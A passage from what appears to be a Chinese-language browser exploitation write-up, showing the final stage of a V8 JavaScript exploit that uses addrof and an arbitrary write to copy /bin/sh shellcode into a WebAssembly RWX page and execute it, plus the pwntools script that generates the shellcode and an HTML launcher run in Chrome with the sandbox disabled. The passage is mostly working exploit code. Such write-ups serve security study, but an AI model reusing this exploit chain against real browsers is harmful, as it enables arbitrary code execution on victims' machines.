Wasm page addr: 0x" + rwx_page_addr.toString( 16 )); function copy_shellcode(addr, shellcode) { let buf = new ArrayBuffer( 0x100 ); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n ; initial_arb_write(backing_store_addr, addr); for (let i = 0 ; i < shellcode.length; i + + ) { dataview.setUint32( 4 * i, shellcode[i], true); } } / / https: / / xz.aliyun.com / t / 5003 var shellcode = [ 0x90909090 , 0x90909090 , 0xb848686a , 0x6e69622f , 0x732f2f2f , 0xe7894850 , 0x1697268 , 0x24348101 , 0x1010101 , 0x6a56f631 , 0x1485e08 , 0x894856e6 , 0x6ad231e6 , 0x50f583b ]; / * from pwn import * context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) shellcode = asm(shellcraft.sh()) a = shellcode[ 0 : 4 ] b = int .from_bytes(a, "little" ) for i in range ( 0 , len (shellcode), 4 ): a = shellcode[i:i + 4 ] print ( hex ( int .from_bytes(a, "little" )),end = "," ) * / console.log( "[+] Copying binsh shellcode to RWX page" ); copy_shellcode(rwx_page_addr, shellcode); console.log( "[+] Popping sh" ); f(); |
shellcode的生成,我使用的是pwntools的。
1 2 3 4 5 6 7 | from pwn import * context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) shellcode = asm(shellcraft.sh()) for i in range ( 0 , len (shellcode), 4 ): a = shellcode[i:i + 4 ] print ( hex ( int .from_bytes(a, "little" )),end = "," ) |
运行成功的截图:
9. pwn Chrome
./chrome --no-sandbox ./index.html
index.html中内容如下:
1 2 3 4 5 | <html> <head> <script src = "exp.js" >< / script> < / head> < / html> |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课